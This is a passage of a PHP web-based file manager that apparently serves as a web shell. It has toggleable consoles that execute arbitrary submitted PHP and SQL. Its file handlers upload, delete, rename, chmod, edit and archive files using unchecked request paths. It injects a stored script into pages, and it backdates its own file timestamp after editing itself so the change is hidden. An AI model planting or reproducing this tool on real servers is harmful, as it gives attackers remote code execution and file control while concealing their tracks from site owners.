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");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
